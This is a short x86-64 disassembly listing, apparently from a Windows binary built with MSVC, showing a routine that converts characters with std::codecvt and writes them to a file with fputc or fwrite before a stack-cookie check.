call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
js 0x140002025
cmp eax, 1
jle 0x140001fe5
cmp eax, 3
jne 0x140002025
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000202a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002013
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140002025
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000202a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002f50
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret